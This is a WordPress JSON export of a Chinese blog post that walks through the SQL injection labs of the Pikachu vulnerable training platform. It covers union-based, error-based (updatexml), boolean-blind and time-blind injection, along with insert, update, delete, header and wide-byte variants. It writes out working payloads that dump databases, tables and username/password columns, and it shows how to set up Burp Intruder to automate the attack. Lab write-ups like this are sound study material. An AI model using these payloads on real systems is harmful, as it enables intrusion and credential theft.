{"id":165,"date":"2021-08-06T14:53:38","date_gmt":"2021-08-06T14:53:38","guid":{"rendered":"http:\/\/49.235.100.226\/?p=165"},"modified":"2021-08-31T08:40:46","modified_gmt":"2021-08-31T08:40:46","slug":"pikachu-sqlzhuru","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2021\/08\/06\/pikachu-sqlzhuru\/","title":{"rendered":"Pikachu–SQL\u6ce8\u5165"},"content":{"rendered":"\n

Sql \u6ce8\u5165\u653b\u51fb\u662f\u901a\u8fc7\u5c06\u6076\u610f\u7684 Sql \u67e5\u8be2\u6216\u6dfb\u52a0\u8bed\u53e5\u63d2\u5165\u5230\u5e94\u7528\u7684\u8f93\u5165\u53c2\u6570\u4e2d\uff0c\u518d\u5728\u540e\u53f0 Sql \u670d\u52a1\u5668\u4e0a\u89e3\u6790\u6267\u884c\u8fdb\u884c\u7684\u653b\u51fb\uff0c\u5b83\u76ee\u524d\u9ed1\u5ba2\u5bf9\u6570\u636e\u5e93\u8fdb\u884c\u653b\u51fb\u7684\u6700\u5e38\u7528\u624b\u6bb5\u4e4b\u4e00<\/p>\n\n\n\n

\u6570\u5b57\u578bSQL<\/strong><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u53ef\u4ee5\u770b\u5230\u8f93\u5165\u91c7\u7528\u4e0b\u62c9\u5217\u8868\uff0c\u7528burp\u6293\u5305\u8fdb\u884cSQL\u6ce8\u5165\u3002<\/p>\n\n\n\n

\u200b \u6253\u5f00burp\u6293\u5305\uff0c\u53f3\u952esend to repeater\uff0c\u53ef\u4ee5\u5728\u5de6\u4fa7request\u6846\u5185\u7684Raw\u680f\u539f\u62a5\u6587\u4fee\u6539id\u53c2\u6570\uff0c\u4e5f\u53ef\u4ee5\u5728Params\u91cc\u4fee\u6539\u3002<\/p>\n\n\n\n

\u4fee\u6539ID\u7684\u503c\u4e3a 1 or 1=1#\uff08\u5728\u540e\u7eed\u7684\u5224\u65ad\u4e2d\u4f7f\u7ed3\u679c\u59cb\u7ec8\u4e3a1\uff09<\/p>\n\n\n\n

\u4e3e\u4e2a\u4f8b\u5b50<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u7528php\u7f16\u5199\u7684\u811a\u672c<\/p>\n\n\n\n

\u7b2c19\u884c \u8f93\u5165\u7684’$password’\u5b9e\u9645\u4e0a\u5df2\u7ecf\u53d8\u6210\u4e86\u4e00\u4e2a\u771f\u503c\u3002<\/p>\n\n\n\n

\u200b \u7528order by \u5b50\u53e5\u731c\u89e3\u67e5\u8be2\u7684\u5b57\u6bb5\u6570\u3002 <\/p>\n\n\n\n

\u200b [\u731c\u89e3\u67e5\u8be2\u5b57\u6bb5\u6570\u7684\u539f\u56e0\uff1a\u4f7f\u7528\u8054\u5408\u67e5\u8be2\u65f6\uff0c\u526f\u67e5\u8be2\u5b57\u6bb5\u6570\u9700\u8981\u4e0e\u4e3b\u67e5\u8be2\u5b57\u6bb5\u6570\u4e00\u81f4\uff0c\u5426\u5219\u4f1a\u62a5\u9519\u3002]<\/p>\n\n\n\n

1 order by num #<\/code><\/p>\n\n\n\n

\u200b num=1\u30012\u65f6\u6b63\u5e38\uff0c\u4e3a3\u65f6\u62a5\u9519\u3002\u8bf4\u660e\u67e5\u8be2\u7684\u5b57\u6bb5\u6570\u4e3a2\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7528\u5982\u4e0b\u8054\u5408\u67e5\u8be2\u8bed\u53e5\u7206\u51fa\u5f53\u524d\u6570\u636e\u5e93\u7684\u540d\u5b57\u3002\u7531\u56de\u663e\u5f97\u77e5\u6570\u636e\u5e93\u540d\u4e3apikachu\u3002<\/p>\n\n\n\n

1 union select 1,database()#<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7528\u8054\u5408\u67e5\u8be2\u7206\u51fa\u5f53\u524d\u6570\u636e\u5e93\u7684\u5305\u542b\u6240\u6709\u8868\u540d(table_name)\u3002<\/p>\n\n\n\n

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u200b \u67e5\u8be2\u91cd\u8981\u8868\u7684\u5217\u540d(column_name)\uff0c\u6b64\u5904\u7206\u7684\u662fusers\u8868\u3002<\/p>\n\n\n\n

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ #<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6700\u540e\u4e00\u6b65\uff0c\u4fdd\u5b58\u6570\u636e\u3002\u8fd9\u91cc\u7206\u7684\u662fusername\u548cpassword\u8fd9\u4e24\u4e2a\u5b57\u6bb5\u7684\u6570\u636e\u3002\u5bc6\u7801\u7ecf\u8fc7MD5\u52a0\u5bc6\uff0c\u53ef\u5728\u89e3\u7801\u7f51\u7ad9\u8fdb\u884c\u89e3\u7801\u3002<\/p>\n\n\n\n

1 union select group_concat(username),group_concat(password) from users #<\/code><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5b57\u7b26\u578bSQL<\/strong><\/p>\n\n\n\n

\u9875\u9762\u5b58\u5728\u8f93\u5165\u67e5\u8be2\u6846\uff0c\u76f4\u63a5\u5728\u6846\u5185\u8f93\u5165\u8fdb\u884c\u6ce8\u5165\u5c31\u53ef\u4ee5\u4e86\uff0c\u4e0d\u8fc7\u7528burp\u5176\u5b9e\u4e5f\u5f88\u65b9\u4fbf\u3002\u5728\u6846\u5185\u53ea\u8f93\u5165\u4e00\u4e2a\u5355\u5f15\u53f7\uff0c\u70b9\u51fb\u67e5\u8be2\uff0c\u9875\u9762\u8fd4\u56de\u62a5\u9519\u4fe1\u606f\uff0c\u8bf4\u660e\u8be5\u9875\u9762\u53ef\u80fd\u5b58\u5728\u6ce8\u5165\u70b9\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u76f4\u63a5\u8f93\u5165 1’or 1=1#<\/p>\n\n\n\n

 \u7528order by\u5b50\u53e5\u731c\u89e3\u67e5\u8be2\u7684\u5b57\u6bb5\u6570\uff0cnum=3\u65f6\u62a5\u9519\uff0c\u8bf4\u660e\u67e5\u8be2\u7684\u5b57\u6bb5\u6570\u4e3a2\u3002<\/p>\n\n\n\n

kobe' order by num#<\/code> \u6ce8\u610f\u5982\u679c\u662f\u590d\u5236\u5230burp\u4e2d\uff0c\u8981\u5c06\u5176\u8f6c\u6362\u6210\u7279\u6b8a\u5b57\u7b26\u7684url\u7f16\u7801\uff08kobe’+order+by+num%23\uff09<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u63a5\u4e0b\u6765\u7684\u6d41\u7a0b\u548c\u6570\u5b57\u578b\u6ce8\u5165\u5e76\u65e0\u592a\u5927\u5dee\u522b\uff0c\u5c31\u662f\u591a\u4e86\u4e00\u4e2a\u5355\u5f15\u53f7\u9700\u8981\u95ed\u5408\u3002<\/p>\n\n\n\n

\u200b \u7206\u5e93\uff1akobe' union select 1,database()#<\/code><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7206\u8868\uff1akobe' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #<\/code><\/p>\n\n\n\n

\u200b \u7206\u5217\uff1akobe' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member' #<\/code><\/p>\n\n\n\n

\u4fdd\u5b58\u6570\u636e\uff1akobe' union select group_concat(username),group_concat(pw) from member #<\/code><\/p>\n\n\n\n

\u641c\u7d22\u578bSQL<\/strong><\/p>\n\n\n\n

\u5148\u8bd5\u4e00\u4e0b1′ or 1=1#<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u70b9\u51fb\u63d0\u793a\u53d1\u73b0\u8be5\u7c7b\u578b\u6ce8\u5165\u610f\u5728\u8ba9\u6d4b\u8bd5\u8005\u6784\u9020'%$keyword%'<\/code>\u95ed\u5408\uff0c\u4f46\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\uff0c\u76f4\u63a5\u7528<\/p>\n\n\n\n

1' or 1=1 #<\/code>\u5c31\u80fd\u591f\u6210\u529f\u6ce8\u5165\u3002<\/p>\n\n\n\n

\u5c1d\u8bd51%’ or 1=1#<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5176\u4f59\u64cd\u4f5c\u4e0e\u4e0a\u4e2a\u76f8\u540c \u53ea\u9700\u6ce8\u610f\u8f93\u5165\u65f6 \u7528 XX%’ <\/p>\n\n\n\n

XX\u578b\u6ce8\u5165<\/strong><\/p>\n\n\n\n

\u8f93\u5165\u5355\u5f15\u53f7\u9875\u9762\u8fd4\u56de\u62a5\u9519\u4fe1\u606f\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8f93\u5165\u5b57\u7b26\u578b\u4e07\u80fd\u8bed\u53e5\u67e5\u8be2\uff1akobe' or 1=1#<\/code> <\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u731c\u6d4b\u4f7f\u7528 kobe’) or 1=1#<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

“Insert\/updata”\u578b\u6ce8\u5165<\/strong><\/p>\n\n\n\n

Insert<\/p>\n\n\n\n

\u00a0\u70b9\u51fb\u6ce8\u518c\u8fdb\u5165\u6ce8\u518c\u9875\u9762\uff0c\u5728\u7528\u6237\u6846\u5185\u8f93\u5165\u5355\u5f15\u53f7\uff0c\u5bc6\u7801\u4e3a\u5fc5\u586b\u9879\uff0c\u968f\u610f\u8f93\u5165\uff0c\u63d0\u4ea4\u3002\u9875\u9762\u8fd4\u56de\u62a5\u9519\u4fe1\u606f\u5982\u56fe\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7531\u62a5\u9519\u4fe1\u606f\u53ef\u4ee5\u77e5\u9053\uff0c\u8f93\u5165\u7684\u6570\u636e\u76f4\u63a5\u62fc\u63a5\u5165\u8be5sql\u67e5\u8be2\u8bed\u53e5\u4e2d\uff0c\u5b58\u5728\u7740SQL\u6ce8\u5165\u6f0f\u6d1e\u3002\u7531\u4e8e\u9875\u9762\u76f4\u63a5\u8fd4\u56de\u4e86\u6570\u636e\u5e93\u5177\u4f53\u7684\u62a5\u9519\u4fe1\u606f\uff0c\u5728\u6b64\u53ef\u4ee5\u4f7f\u7528\u62a5\u9519\u6ce8\u5165<\/strong>\u3002\uff08\u62a5\u9519\u6ce8\u5165\u5c31\u662f\u5229\u7528\u4e86\u6570\u636e\u5e93\u7684\u67d0\u4e9b\u673a\u5236\uff0c\u4eba\u4e3a\u5730\u5236\u9020\u9519\u8bef\u6761\u4ef6\uff0c\u4f7f\u5f97\u67e5\u8be2\u7ed3\u679c\u80fd\u591f\u51fa\u73b0\u5728\u9519\u8bef\u4fe1\u606f\u4e2d\uff09<\/p>\n\n\n\n

\u6784\u9020\u8bed\u53e5\uff1akobe' or updatexml(1,concat(0x7e,database()),1) or'<\/code><\/p>\n\n\n\n

\u6b64\u5904\u5229\u7528\u7684\u662fupdatexml()+concat()\u51fd\u6570\u7684\u62a5\u9519\uff0cupdatexml\u51fd\u6570\u4e2d\u7684Xpath\u8def\u5f84\u975e\u6cd5\u65f6\u4f1a\u8fd4\u56de\u8bed\u6cd5\u9519\u8bef\uff0c\u4f46\u5176\u4e2d\u7684\u8bed\u53e5\u4ecd\u7136\u53ef\u4ee5\u6b63\u5e38\u6267\u884c\u3002\u5167\u52a0concat\u51fd\u6570\u662f\u4e3a\u4e86\u8fd4\u56de\u5b8c\u6574\u7684database\u4fe1\u606f\uff0c\u5c06\u201d~\u201c\u7b26\u53f7\uff080x7e\u4e3a\u8be5\u7b26\u53f7\u7684\u5341\u516d\u8fdb\u5236\u683c\u5f0f\uff09\u548cdatabase()\u51fd\u6570\u8fd4\u56de\u7684\u4fe1\u606f\u62fc\u63a5\u5728\u4e00\u8d77\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7206\u8868\u65f6\u82e5\u4f7f\u7528group_concat()\u51fd\u6570\u67e5\u8be2\uff0c\u56de\u663e\u7684\u4fe1\u606f\u5e76\u4e0d\u5b8c\u6574\u3002<\/p>\n\n\n\n

0′ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’ )),0) or ‘<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7531\u4e8e\u56de\u663e\u7684\u62a5\u9519\u4fe1\u606f\u53ea\u80fd\u663e\u793a\u4e00\u884c\uff0c\u8fd9\u91cc\u7528limit\u8bed\u53e5\u9650\u5236\u67e5\u8be2\u56de\u663e\u7684\u4fe1\u606f\u884c\u6570\u4e3a1\u3002<\/p>\n\n\n\n

0′ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),0) or ‘<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

0′ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 1,1)),0) or ‘ <\/p>\n\n\n\n

\u4fee\u6539limit\u53c2\u6570\u5373\u53ef\u4e00\u6761\u4e00\u6761\u5730\u5c06\u6240\u6709\u5f53\u524d\u5e93\u5185\u7684\u8868\u7ed9\u7206\u51fa\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u200b \u62a5\u9519\u6ce8\u5165\u8fd8\u6709\u5f88\u591a\u79cd\u65b9\u6cd5\uff0c\u5982extractvalue()\u51fd\u6570\u7684\u62a5\u9519\uff0cfloor()\u51fd\u6570\u7684\u62a5\u9519\u7b49\u7b49\uff0c\u76ee\u524d\u4e0d\u4f1a\u3002<\/p>\n\n\n\n

Update<\/p>\n\n\n\n

\u70b9\u51fb\u4fee\u6539\u4e2a\u4eba\u4fe1\u606f\uff0c\u968f\u610f\u5728\u4efb\u610f\u4fe1\u606f\u540e\u52a0\u5355\u5f15\u53f7\u5e76\u4e14\u63d0\u4ea4\uff0c\u9875\u9762\u8fd4\u56de\u62a5\u9519\u4fe1\u606f\u5982\u4e0b\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u00a0\u968f\u4fbf\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\uff0c\u767b\u5f55\u5373\u4f1a\u8df3\u8f6c\u81f3\u4e2a\u4eba\u4f1a\u5458\u4e2d\u5fc3\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

 \u6b64\u5904\u540c\u6837\u53ef\u4ee5\u4f7f\u7528\u62a5\u9519\u6ce8\u5165\uff08\u80fd\u591f\u8fd4\u56de\u5177\u4f53\u62a5\u9519\u4fe1\u606f\u7684\u5927\u591a\u80fd\u591f\u4f7f\u7528\u62a5\u9519\u6ce8\u5165\uff09\uff1a<\/p>\n\n\n\n

' or updatexml(1,concat(0x7e,database()),0) or '<\/code><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

“Delete”\u6ce8\u5165<\/strong><\/p>\n\n\n\n

\u9875\u9762\u4e3a\u7a7a\u767d\u7684\u7559\u8a00\u677f\uff0c\u8f93\u5165\u6846\u662f\u65e0\u6cd5\u6ce8\u5165\u7684\u3002\u968f\u4fbf\u52a0\u5165\u51e0\u6761\u4fe1\u606f\uff0c\u53ef\u4ee5\u770b\u5230\u7559\u8a00\u5217\u8868\u591a\u51fa\u4e86\u521a\u521a\u63d2\u5165\u7684\u4fe1\u606f\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6253\u5f00burp\u7684\u62e6\u622a\uff0c\u518d\u968f\u610f\u70b9\u51fb\u4e00\u6761\u7559\u8a00\u5220\u9664\uff0c\u53ef\u4ee5\u770b\u5230\u62e6\u622a\u5230\u4e86\u4e00\u4e2aget\u578b\u7684\u62a5\u6587\u3002<\/p>\n\n\n\n

\u53d1\u9001\u81f3Repeater\uff0c\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539URL\u7684id\u53c2\u6570\u8fdb\u884cSQL\u6ce8\u5165\u3002<\/p>\n\n\n\n

ID\u540e\u52a0\u5355\u5f15\u53f7\u65f6\u7684\u62a5\u9519\u4fe1\u606f\u5982\u56fe\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u200b \u6b64\u5904\u4f7f\u7528\u7684\u540c\u6837\u662f\u62a5\u9519\u6ce8\u5165\u3002<\/p>\n\n\n\n

0 or updatexml(1,concat(0x7e,database()),0)#<\/code><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u200b \u56e0\u4e3aid\u662f\u6570\u5b57\u578b\u7684\uff0c\u6240\u4ee5\u65e0\u9700\u5355\u5f15\u53f7\u95ed\u5408\u3002\u6b64\u5904\u6709\u4e00\u70b9\u8981\u6ce8\u610f\uff0c\u4e00\u4e9b\u5173\u952e\u5b57\u9700\u8981\u8f6c\u5316\u4e3aURL\u683c\u5f0f\uff0c\u6bd4\u5982\u201c#\u201d\u7b26\u53f7\u9700\u8981\u53d8\u5316\u4e3a%23\uff0c\u5176\u4ed6\u9700\u8981\u8f6c\u5316\u7684\u5173\u952e\u5b57\u6709\u5355\u5f15\u53f7\uff0c\u7a7a\u683c\u7b49\u3002<\/p>\n\n\n\n

“Http Header”\u6ce8\u5165<\/strong><\/p>\n\n\n\n

\u4f7f\u7528\u63d0\u793a\u5185\u63d0\u4f9b\u7684\u8d26\u53f7\u5bc6\u7801admin\/123456\u76f4\u63a5\u767b\u5f55\uff0c\u7528burp\u53d1\u9001\u5230repeater\u663e\u793a\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4fee\u6539user agent\u53c2\u6570\uff0c\u5728\u5176\u540e\u52a0\u4e0a\u5355\u5f15\u53f7\uff0c\u9875\u9762\u8fd4\u56de\u62a5\u9519\u4fe1\u606f\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u200b \u4f7f\u7528\u62a5\u9519\u6ce8\u5165\uff1a<\/p>\n\n\n\n

' or updatexml(1,concat(0x7e,database()),1) or'<\/code><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u76f2\u6ce8\uff08Base on Boolean\uff09<\/strong><\/p>\n\n\n\n

\u8f93\u5165\u5355\u5f15\u53f7\uff0c\u53d1\u73b0\u9875\u9762\u6ca1\u6709\u62a5\u9519\u3002<\/p>\n\n\n\n

vince' and 1=1#<\/code><\/p>\n\n\n\n

\u200b \u8f93\u5165\u4ee5\u4e0a\u8bed\u53e5\uff0c\u9875\u9762\u8fd4\u56de\u6b63\u5e38\u4fe1\u606f\uff0c\u8bf4\u660e\u4e3a\u5b57\u7b26\u578b\u7684\u76f2\u6ce8\u3002<\/p>\n\n\n\n

\u5e03\u5c14\u76f2\u6ce8\u6f0f\u6d1e\uff0c\u9875\u9762\u53ea\u8fd4\u56deTrue\u548cFalse\u4e24\u79cd\u7c7b\u578b\uff0c\u5373\u4e0d\u8bba\u8bed\u53e5\u53d1\u751f\u4ec0\u4e48\u6837\u7684\u9519\u8bef\uff0c\u90fd\u8fd4\u56de\u4e00\u6837\u7684\u62a5\u9519\u4fe1\u606f\uff0c\u800c\u5e76\u975e\u50cf\u4e4b\u524d\u7684\u7c7b\u578b\u4e00\u6837\u80fd\u591f\u8fd4\u56de\u5177\u4f53\u7684\u62a5\u9519\u4fe1\u606f\u3002\u56e0\u6b64\u6211\u4eec\u53ea\u80fd\u901a\u8fc7\u8fd4\u56de\u9875\u9762\u7684\u4e0d\u540c\u6765\u9010\u4e2a\u731c\u89e3\u6570\u636e\u3002<\/p>\n\n\n\n

\u200b \u76f2\u6ce8\u540c\u6837\u53ef\u4ee5\u4f7f\u7528order by\u5b50\u53e5\u731c\u89e3\u67e5\u8be2\u7684\u5b57\u6bb5\u6570\uff1a<\/p>\n\n\n\n

vince’ order by num #<\/p>\n\n\n\n

\u200b num=1\u30012\u65f6\u5747\u53ef\u6b63\u5e38\u67e5\u8be2\u5230kobe\u7684\u4fe1\u606f\uff0cnum=3\u65f6\u9875\u9762\u8fd4\u56de\uff1a\u201c\u60a8\u8f93\u5165\u7684username\u4e0d\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\uff01\u201d \u8bf4\u660e\u67e5\u8be2\u7684\u5b57\u6bb5\u6570\u4e3a2\u3002<\/p>\n\n\n\n

\u200b \u7206\u5e93\u9700\u8981\u5148\u7528length\u51fd\u6570\u731c\u89e3\u6570\u636e\u5e93\u540d\u79f0\u7684\u957f\u5ea6\uff08\u7206\u8868\u7206\u5217\u540c\u7406\uff09\u3002<\/p>\n\n\n\n

vince’ and length(database())=num#<\/p>\n\n\n\n

\u200b num=7\u65f6\u9875\u9762\u8fd4\u56de\u6b63\u5e38\u4fe1\u606f\uff0c\u7b49\u4e8e8\u65f6\u663e\u793a \u201c\u60a8\u8f93\u5165\u7684username\u4e0d\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\uff01\u201d \u3002\u8be5payload\u8bed\u53e5\u4e2d\u7684\u7b49\u4e8e\u53f7\u201c=\u201d\u53ef\u4ee5\u66ff\u6362\u4e3a\u5927\u5c0f\u4e8e\u53f7\u731c\u89e3\u5927\u6982\u7684\u8303\u56f4\uff0c\u4f7f\u7528\u4e8c\u5206\u6cd5\u7f29\u5c0f\u8303\u56f4\u4fbf\u4e8e\u786e\u5b9a\u5177\u4f53\u503c\u4e3a\u591a\u5c11\u3002<\/p>\n\n\n\n

\u200b \u5229\u7528\u5b57\u7b26\u7684ASCII\u7801\u503c\u9010\u4e2a\u731c\u89e3\u6570\u636e\u5e93\u540d\u7684\u6bcf\u4e2a\u5b57\u7b26\uff1a<\/p>\n\n\n\n

vince’ and ascii(substr(database(),1,1))=num#<\/p>\n\n\n\n

\u200b \u8be5\u8bed\u53e5\u4e2d\u7684substr\u51fd\u6570\u9650\u5236\u67e5\u8be2\u7684\u5b57\u7b26\u4e32\u53ea\u8fd4\u56de\u4e00\u4e2a\u5b57\u6bcd\u3002<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u6b64\u5904\u4f7f\u7528burp\u7684intruder\u80fd\u591f\u5f88\u65b9\u4fbf\u5730\u5904\u7406\u6570\u636e\u3002\u6253\u5f00\u62e6\u622a\uff0c\u8f93\u5165\u8be5\u8bed\u53e5\u5e76\u4e14\u63d0\u4ea4\uff0c\u53f3\u952e\u5c06\u62e6\u622a\u5230\u7684\u62a5\u6587\u53d1\u9001\u81f3intruder\u3002<\/p>\n\n\n\n

vince’ and ascii(substr(database(),1,1))=num#<\/p>\n\n\n\n

\u200b \u5728positions\u680f\u5185\u5148\u70b9\u51fb clear $ \u6765\u6e05\u9664\u8f6f\u4ef6\u81ea\u52a8\u5224\u5b9a\u7684\u5b9a\u4f4d\u7b26\uff0c\u518d\u9009\u4e2dnum\u7684\u53c2\u6570\uff0c\u70b9\u51fb add $ \u7ed9\u9009\u5b9a\u7684\u53c2\u6570\u6dfb\u52a0\u5b9a\u4f4d\u7b26\u3002<\/p>\n\n\n\n

\u200b \u5728payloads\u680f\u5185\u4fee\u6539payload type\u4e3aNumbers\uff0c\u5728\u4e0b\u65b9\u7684Number range\u8bbe\u7f6e\u53c2\u6570\u7684\u8303\u56f4\uff0cASCII\u7801\u503c\u8303\u56f433-126\u8986\u76d6\u4e86\u7edd\u5927\u591a\u6570\u7684\u5b57\u7b26\u3002step\u8bbe\u7f6e\u4e3a1\uff0c\u8bbe\u7f6e\u5b8c\u5373\u53ef\u70b9\u51fbstart attack\u5f00\u59cb\u6ce8\u5165\u3002
<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u00a0\u5728\u6b64\u6839\u636e\u8fd4\u56de\u9875\u9762length\u6570\u636e\u7684\u5dee\u522b\u53ef\u4ee5\u770b\u51fa\uff0c\u5f53\u524d\u6570\u636e\u5e93\u540d\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684ASCII\u7801\u503c\u4e3a112\u3002\u53c2\u7167ASCII\u7801\u8868\u53ef\u77e5\uff0c\u7b2c\u4e00\u4e2a\u5b57\u7b26\u4e3ap\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u624b\u52a8\u4fee\u6539substr\u51fd\u6570\u4e2d\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\uff0c\u5c31\u80fd\u591f\u5f97\u5230\u6570\u636e\u5e93\u540d\u4e2d\u5176\u4ed6\u5b57\u7b26\u7684ascii\u7801\u503c\u3002\u901a\u8fc7ASCII\u7801\u8868\u8f6c\u5316\u53ef\u77e5\uff0c\u6570\u636e\u5e93\u540d\u79f0\u4e3apikachu\u3002<\/p>\n\n\n\n

\u76f2\u6ce8(Base on Time)<\/strong><\/p>\n\n\n\n

\u57fa\u4e8e\u65f6\u95f4\u7684\u76f2\u6ce8\uff0c\u65e0\u8bba\u8f93\u5165\u4ec0\u4e48\u4fe1\u606f\u9875\u9762\u90fd\u8fd4\u56de\u76f8\u540c\u7684\u4fe1\u606f\uff0c\u65e0\u6cd5\u6839\u636e\u9875\u9762\u8fd4\u56de\u4fe1\u606f\u6765\u786e\u8ba4\u771f\u5047\uff0c\u4f46\u53ef\u4ee5\u901a\u8fc7\u9875\u9762\u8fd4\u56de\u4fe1\u606f\u7684\u65f6\u95f4\u957f\u77ed\u6765\u5224\u65ad\u9875\u9762\u662f\u5426\u6210\u529f\u6267\u884c\u4e86\u6ce8\u5165\u7684\u8bed\u53e5\u3002<\/p>\n\n\n\n

\u200b \u5728pikachu\u7684\u65f6\u95f4\u76f2\u6ce8\u7c7b\u578b\u6d4b\u8bd5\u6846\u5185\u65e0\u8bba\u8f93\u5165\u6b63\u786e\u8fd8\u662f\u9519\u8bef\u7684username\uff0c\u9875\u9762\u53ea\u8fd4\u56de\u4e00\u53e5\u8bdd \u201ci don\u2019t care who you are! \u201d<\/p>\n\n\n\n

vince’ and sleep(5) #<\/p>\n\n\n\n

\u8f93\u5165\u4ee5\u4e0a\u8bed\u53e5\uff0c\u9875\u9762\u4ecd\u7136\u8fd4\u56de\u8fd9\u53e5\u8bdd\uff0c\u4f46\u9700\u8981\u7b49\u5f855\u79d2\u4ee5\u4e0a\uff0c\u8bf4\u660e\u7f51\u9875\u6267\u884c\u4e86\u8bed\u53e5\u4e2d\u7684sleep\u51fd\u6570<\/strong>\uff0c\u5b58\u5728\u7740\u65f6\u95f4\u76f2\u6ce8\u6f0f\u6d1e\u3002sleep\u51fd\u6570\u7684\u4f5c\u7528\u662f\u4f7f\u7a0b\u5e8f\u6682\u505c\u4e00\u6bb5\u65f6\u95f4\uff0c\u6b64\u5904\u5373\u662f\u662f\u7f51\u9875\u7684\u54cd\u5e94\u5ef6\u65f65\u79d2\u3002<\/p>\n\n\n\n

\u914d\u5408if\u8868\u8fbe\u5f0f<\/strong>\uff0c\u5c31\u53ef\u4ee5\u9010\u4e2a\u7206\u51fa\u6570\u636e\u5e93\u7684\u540d\u5b57\u3002<\/p>\n\n\n\n

vince' and if((ascii(substr(database(),1,1))=112),sleep(5),null)#<\/code><\/p>\n\n\n\n

\u540e\u7565<\/p>\n\n\n\n

\u5bbd\u5b57\u8282\u6ce8\u5165<\/strong><\/p>\n\n\n\n

1\uff09\u5bbd\u5b57\u8282\u6ce8\u5165\u4f7f\u7528\u6761\u4ef6\u662f\uff1aPHP\u53d1\u9001\u8bf7\u6c42\u5230MySql\u65f6\u4f7f\u7528\u4e86\u8bed\u53e5SET NAMES ‘gbk’ \u6216\u662fset character_set_client =gbk \u8fdb\u884c\u4e86\u4e00\u6b21\u7f16\u7801<\/p>\n\n\n\n

\uff082\uff09\u5bbd\u5b57\u8282\u6ce8\u5165\u7684\u4f7f\u7528\u539f\u56e0\u662f\uff1a\u5355\u5f15\u53f7\u3001\u53cc\u5f15\u53f7\u7b49\u7279\u6b8a\u5b57\u7b26\u88ab\u8f6c\u4e49<\/p>\n\n\n\n

\uff083\uff09\u5bbd\u5b57\u8282\u6ce8\u5165\u7684\u539f\u7406\u662f\uff1a\u5f53\u8f6c\u4e49\u4f7f\u7528\u7684\\\u4e3aASCII\u7f16\u7801\uff0c\u800c\u5ba2\u6237\u7aef\u4f20\u5165\u7684\u53c2\u6570\u88ab\u5f53\u6210GBK\u7b49\u5bbd\u5b57\u8282\u7f16\u7801\uff0c\u5219\u53ef\u4ee5\u901a\u8fc7\u5728\\\u4e4b\u524d\u63d2\u5165\u4e00\u4e2a\u5341\u516d\u8fdb\u5236\u5b57\u8282\uff08ASCII\u7801\u8981\u5927\u4e8e128\uff0c\u624d\u5230\u6c49\u5b57\u7684\u8303\u56f4\uff09\u6765\u8ba9mysql\u4ee5\u4e3a\u63d2\u5165\u7684\u5b57\u8282\u548c\\\u662f\u4e00\u4e2a\u4e2d\u6587\u5b57\u7b26\uff0c\u4ece\u800c\u5403\u6389\\\uff0c\u6467\u6bc1\u8f6c\u4e49\u3002<\/p>\n\n\n\n

(22\u6761\u6d88\u606f) pikachu SQL\u6ce8\u5165 (\u76ae\u5361\u4e18\u6f0f\u6d1e\u5e73\u53f0\u901a\u5173\u7cfb\u5217)_\u7bad\u96e8\u955c\u5c4b-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n

